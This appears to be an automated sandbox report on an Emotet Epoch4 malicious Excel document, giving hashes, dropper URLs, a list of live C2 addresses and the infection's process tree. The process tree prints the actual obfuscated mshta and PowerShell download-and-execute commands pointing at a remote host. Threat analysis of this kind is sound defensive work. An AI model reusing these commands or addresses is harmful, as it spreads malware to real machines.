emotet | 0aeb1fed2a92309d35b4c1ee2f5a18ad9594fd5382f4ab9fe6fa431e9a426548

General

Target

2022-1-28-a1465b9e27030fa71b863fcbbe264405.xls
Size

46KB
MD5

a1465b9e27030fa71b863fcbbe264405
SHA1

072615acb803b2f602222ba683b72ece4b1c5fec
SHA256

0aeb1fed2a92309d35b4c1ee2f5a18ad9594fd5382f4ab9fe6fa431e9a426548
SHA512

697e729b34013c3fc8956e9c8bb9e5799df007666f4bf288a878f35d3a4be597d51f71616096b2b363fa3a397a8a2662d1231403acedbdcfa88a2a0032c1edc6

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/vvv/ppp/fe.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/vvv/ppp/fe.png

Extracted

Family

emotet

Botnet

Epoch4

C2

51.15.4.22:443

173.214.173.220:8080

212.237.5.209:443

192.254.71.210:443

216.158.226.206:443

162.243.175.63:443

212.24.98.99:8080

58.227.42.236:80

45.118.115.99:8080

104.251.214.46:8080

185.157.82.209:8080

46.55.222.11:443

188.40.137.206:8080

81.0.236.90:443

103.75.201.2:443

129.232.188.93:443

195.154.133.20:443

159.8.59.82:8080

79.172.212.216:8080

138.185.72.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2072	3972	CMD.EXE	EXCEL.EXE

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

41 3924 mshta.exe
43 2376 powershell.exe
45 2376 powershell.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1896 rundll32.exe
3876 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Lyupkftsqjvs\ggwxblau.exv rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

988 3924 WerFault.exe mshta.exe

flow	pid	process
41	3924	mshta.exe
43	2376	powershell.exe
45	2376	powershell.exe

pid	process
1896	rundll32.exe
3876	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Lyupkftsqjvs\ggwxblau.exv	rundll32.exe

pid	pid_target	process	target process
988	3924	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3972 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
2376	powershell.exe
2376	powershell.exe
2376	powershell.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
988	WerFault.exe
1048	rundll32.exe
1048	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 2376 powershell.exe
Token: SeDebugPrivilege 988 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	988	WerFault.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE
3972	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3972 wrote to memory of 2072	3972	EXCEL.EXE	CMD.EXE
PID 3972 wrote to memory of 2072	3972	EXCEL.EXE	CMD.EXE
PID 2072 wrote to memory of 3924	2072	CMD.EXE	mshta.exe
PID 2072 wrote to memory of 3924	2072	CMD.EXE	mshta.exe
PID 3924 wrote to memory of 2376	3924	mshta.exe	powershell.exe
PID 3924 wrote to memory of 2376	3924	mshta.exe	powershell.exe
PID 2376 wrote to memory of 1400	2376	powershell.exe	cmd.exe
PID 2376 wrote to memory of 1400	2376	powershell.exe	cmd.exe
PID 1400 wrote to memory of 1896	1400	cmd.exe	rundll32.exe
PID 1400 wrote to memory of 1896	1400	cmd.exe	rundll32.exe
PID 1400 wrote to memory of 1896	1400	cmd.exe	rundll32.exe
PID 1896 wrote to memory of 3876	1896	rundll32.exe	rundll32.exe
PID 1896 wrote to memory of 3876	1896	rundll32.exe	rundll32.exe
PID 1896 wrote to memory of 3876	1896	rundll32.exe	rundll32.exe
PID 3876 wrote to memory of 740	3876	rundll32.exe	rundll32.exe
PID 3876 wrote to memory of 740	3876	rundll32.exe	rundll32.exe
PID 3876 wrote to memory of 740	3876	rundll32.exe	rundll32.exe
PID 740 wrote to memory of 1048	740	rundll32.exe	rundll32.exe
PID 740 wrote to memory of 1048	740	rundll32.exe	rundll32.exe
PID 740 wrote to memory of 1048	740	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-a1465b9e27030fa71b863fcbbe264405.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3972

C:\Windows\SYSTEM32\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2072

C:\Windows\system32\mshta.exe
mshta http://91.240.118.168/vvv/ppp/fe.html
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3924

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2376

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
5⤵
- Suspicious use of WriteProcessMemory
PID:1400

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1896

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3876

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Lyupkftsqjvs\ggwxblau.exv",pWDVOZaNX
8⤵
- Suspicious use of WriteProcessMemory
PID:740

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Lyupkftsqjvs\ggwxblau.exv",DllRegisterServer
9⤵
- Suspicious behavior: EnumeratesProcesses
PID:1048

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3924 -s 2276
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:988

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
06626264eaac835fedf9da1123f8d390

SHA1
a6ab8e057c18a48ee50c6ad7ae010d3b09e0c094

SHA256
297842eba5121f4492061ace94399b77c18763e46cd3f70dee9e12fa9c0e213d

SHA512
4af800b6497e58547bb1a2155f5b8ee5102c80265b1d43c19469e1470d5d57c6a302d13830b09ac0bae359f1bfab4dce9832e987982117c6feee61c9eaca0b33

Download Submit
\ProgramData\QWER.dll
MD5
06626264eaac835fedf9da1123f8d390

SHA1
a6ab8e057c18a48ee50c6ad7ae010d3b09e0c094

SHA256
297842eba5121f4492061ace94399b77c18763e46cd3f70dee9e12fa9c0e213d

SHA512
4af800b6497e58547bb1a2155f5b8ee5102c80265b1d43c19469e1470d5d57c6a302d13830b09ac0bae359f1bfab4dce9832e987982117c6feee61c9eaca0b33

Download Submit
\ProgramData\QWER.dll
MD5
06626264eaac835fedf9da1123f8d390

SHA1
a6ab8e057c18a48ee50c6ad7ae010d3b09e0c094

SHA256
297842eba5121f4492061ace94399b77c18763e46cd3f70dee9e12fa9c0e213d

SHA512
4af800b6497e58547bb1a2155f5b8ee5102c80265b1d43c19469e1470d5d57c6a302d13830b09ac0bae359f1bfab4dce9832e987982117c6feee61c9eaca0b33

Download Submit
memory/740-616-0x0000000002FD0000-0x0000000002FF5000-memory.dmp

Filesize
148KB

Download
memory/1048-620-0x00000000000A0000-0x00000000000C5000-memory.dmp

Filesize
148KB

Download
memory/1048-622-0x00000000002C0000-0x00000000002E5000-memory.dmp

Filesize
148KB

Download
memory/1896-599-0x0000000000BD0000-0x0000000000BF5000-memory.dmp

Filesize
148KB

Download
memory/2376-279-0x000002ABF0C70000-0x000002ABF0C92000-memory.dmp

Filesize
136KB

Download
memory/2376-289-0x000002ABF0CD3000-0x000002ABF0CD5000-memory.dmp

Filesize
8KB

Download
memory/2376-288-0x000002ABF0CD0000-0x000002ABF0CD2000-memory.dmp

Filesize
8KB

Download
memory/2376-300-0x000002ABF1600000-0x000002ABF163C000-memory.dmp

Filesize
240KB

Download
memory/2376-311-0x000002ABF16C0000-0x000002ABF1736000-memory.dmp

Filesize
472KB

Download
memory/2376-545-0x000002ABF0CD6000-0x000002ABF0CD8000-memory.dmp

Filesize
8KB

Download
memory/3876-606-0x0000000004C80000-0x0000000004CA5000-memory.dmp

Filesize
148KB

Download
memory/3876-611-0x0000000004E40000-0x0000000004E65000-memory.dmp

Filesize
148KB

Download
memory/3876-619-0x0000000005090000-0x00000000050B5000-memory.dmp

Filesize
148KB

Download
memory/3876-615-0x0000000004F00000-0x0000000004F25000-memory.dmp

Filesize
148KB

Download
memory/3876-603-0x0000000004780000-0x00000000047A5000-memory.dmp

Filesize
148KB

Download
memory/3876-613-0x0000000004EA0000-0x0000000004EC5000-memory.dmp

Filesize
148KB

Download
memory/3876-609-0x0000000004D60000-0x0000000004D85000-memory.dmp

Filesize
148KB

Download
memory/3972-129-0x00007FFE8D940000-0x00007FFE8D950000-memory.dmp

Filesize
64KB

Download
memory/3972-115-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-119-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-118-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-128-0x00007FFE8D940000-0x00007FFE8D950000-memory.dmp

Filesize
64KB

Download
memory/3972-117-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download
memory/3972-116-0x00007FFE91410000-0x00007FFE91420000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads